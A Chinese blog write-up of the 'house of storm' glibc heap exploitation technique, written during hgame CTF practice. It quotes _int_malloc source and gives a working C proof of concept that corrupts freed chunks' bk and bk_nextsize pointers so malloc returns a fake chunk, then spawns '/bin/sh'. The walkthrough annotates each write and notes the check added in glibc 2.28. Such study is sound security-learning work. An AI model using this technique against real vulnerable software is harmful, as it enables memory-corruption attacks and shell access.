house of storm

做hgame的时候有搜到过,现在来研究一下<( ̄︶ ̄)↗[GO!]

原理

主要利用的就是_int_malloc中整理unsorted bin将chunk放进large bin的过程,实现效果为伪造一个合法的chunk链入unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
//检查chunk的大小是否符合unsorted bin
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

……


//从unsorted bin中摘下最后一个遍历过的chunk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);


……

//否则放进large bin
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);//第一个小链表
fwd = bck->fd;//第二个小链表

/* maintain large bins in sorted order */
if (fwd != bck)//链表不空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))//比最小的还小
{

……

}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}//找到第一个比victim小的

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
//接入nextsize链
}
bck = fwd->bk;
}
}
else//如果链空
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//接入bin链
mark_bin (av, victim_index);//标识binmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

利用

2.27以前

实验代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;

int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;


unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);



free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位

//重点一下3步
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;


ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));

return 0;
}

重点过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bck = victim->bk;
//bck=unsorted_chunk->bk=fake_chunk
size = chunksize (victim);
//size=chunksize(unsorted_chunk)

unsorted_chunks (av)->bk = bck;
//unsorted_bin->bk=fake_chunk
bck->fd = unsorted_chunks (av);
//fake_chunk->fd=unsorted_bin
//fake_chunk链入unsorted bin

victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
//bck=large_bin
fwd = bck->fd;
//fwd=large_bin->fd=large_chunk

victim->fd_nextsize = fwd;
//unsorted_chunk->fd_nextsize=large_chunk
victim->bk_nextsize = fwd->bk_nextsize;
//unsorted_chunk->bk_nextsize=large_chunk->bk_nextsize
// =fake_chunk-0x18-5
fwd->bk_nextsize = victim;
//large_chunk->bk_nextsize=unsorted_chunk
victim->bk_nextsize->fd_nextsize = victim;
//unsorted_chunk->bk_nextsize->fd_nextsize
//=(fake_chunk-0x18-5)->fd_nextsize
//=fake_chunk+3=unsorted_chunk
//伪造fake_chunk的size,size成员为unsorted_chunk地址的最高三字节
//heap地址最高三字节为0,第四字节为0x56或0x55

bck = fwd->bk;
//bck=large_chunk->bk=fake_chunk+8
mark_bin (av, victim_index);//标识binmap
victim->bk = bck;
//unsorted_chunk->bk=fake_chunk+8
victim->fd = fwd;
//unsorted_chunk->fd=large_chunk
fwd->bk = victim;
//large_chunk->bk=unsorted_chunk
bck->fd = victim;
//(fake_chunk+8)->fd=fake_chunk->bk=unsorted_chunk
//伪造fake_chunk的bk指向合法地址

伪造的size为0x56或0x55,所以malloc一个0x48的chunk(实际大小0x50)会返回fake_chunk

2.28以后

_int_malloc中整理unsorted bin时新增检查chunk的连接

1
2
3
4
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

house of storm
http://akaieurus.github.io/2023/02/08/house-of-storm/
作者
Eurus
发布于
2023年2月8日
许可协议